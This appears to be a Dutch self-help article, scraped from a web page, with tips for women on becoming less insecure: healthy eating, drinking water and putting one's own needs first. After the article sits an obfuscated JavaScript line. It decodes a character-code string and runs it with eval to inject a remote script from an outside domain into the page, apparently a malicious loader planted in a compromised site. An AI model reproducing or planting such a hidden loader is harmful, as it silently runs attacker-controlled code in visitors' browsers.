Elke vrouw is wel eens onzeker, maar dat maakt het nog niet minder vervelend. Het zou mooi zijn als je je altijd goed voelt bij wie je bent, vol zelfvertrouwen en zekerheid. Sommige vrouwen zijn sneller onzeker dan andere vrouwen en dit kan zich ontwikkelen tot een echt probleem. Het leven is een feestje, maar je moet zelf de slingers ophangen. Tijd om iets te doen aan die onzekerheid dus, want zelfverzekerdheid is als vlaggen op een feestje. Je wordt er gelukkiger van en straalt dit ook uit waardoor er eerder goede dingen op je pad komen. Hier volgen een paar onmisbare tips om zelf aan de slag te gaan met je onzekerheid.
Gezond eten is het halve werk
Meer zekerheid ervaren begint bij je goed voelen. Voeding heeft een grote invloed op hoe jij je emotioneel en mentaal voelt. Gezond eten begint bij genoeg water drinken en genoeg groenten eten. Als je het goed kan verteren met je darmen, eet dan vooral ook veel groenten rauw. Een andere vuistregel voor gezonde voeding is hoe dichter bij de oorsprong het product staat, des te gezonder het is. Oftewel, producten die tot stand zijn gekomen door allerlei processen staan ver van hun oorsprong af. Het product begon bijvoorbeeld als banaan aan een boom en eindigt als smaakstof in een snoepje. Hier zijn veel stappen voor nodig geweest. Appelmoes staat bijvoorbeeld wel dicht bij de oorsprong, namelijk een appel.
Zet jezelf op nummer één
Om zelfverzekerder te worden, moet je met zekerheid jezelf op de eerste plaats kunnen zetten. Dat betekent dat je altijd eerst rekening houdt met hoe jij je voelt en wat jouw behoeftes zijn, voordat je te veel aan een ander denkt en naar hun behoeftes luistert. Leren luisteren naar hoe jij je voelt is niet altijd even simpel, maar het wordt makkelijker wanneer je bijvoorbeeld voordat je een beslissing neemt, even een pauze neemt. Wanneer je rust hebt en tijd wordt het makkelijker je gevoel te voelen. Luisteren naar je gevoel betekent ook dat je niet boos op jezelf wordt. Je gevoel is er niet voor niets. Heb je vandaag totaal geen zin in die gezonde salade? Word niet boos op jezelf, maar maak het eten lekkerder met iets wat misschien minder gezond is.
var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);
